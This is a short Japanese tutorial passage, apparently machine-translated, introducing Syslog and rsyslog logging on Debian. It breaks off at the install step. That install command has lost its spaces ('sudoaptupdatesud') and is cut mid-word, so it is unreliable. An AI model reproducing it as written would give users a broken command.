このガイドでは、Debian SystemsでSyslogの使用方法を学ぶように導きます。 Syslogは、ロギングシステムとアプリケーションログメッセージのLinuxシステムの重要なサービスです。管理者がシステムアクティビティを監視および分析して、問題を迅速に特定および解決するのに役立ちます。 1. syslogの基本的な知識Syslogのコア関数には以下が含まれます。複数のログ出力形式とターゲットの場所(ファイルやネットワークなど)をサポートします。リアルタイムのログ表示およびフィルタリング機能を提供します。 2。syslog(rsyslogを使用)をインストールして構成するDebianシステムは、デフォルトでrsyslogを使用します。次のコマンドでインストールできます:sudoaptupdatesud
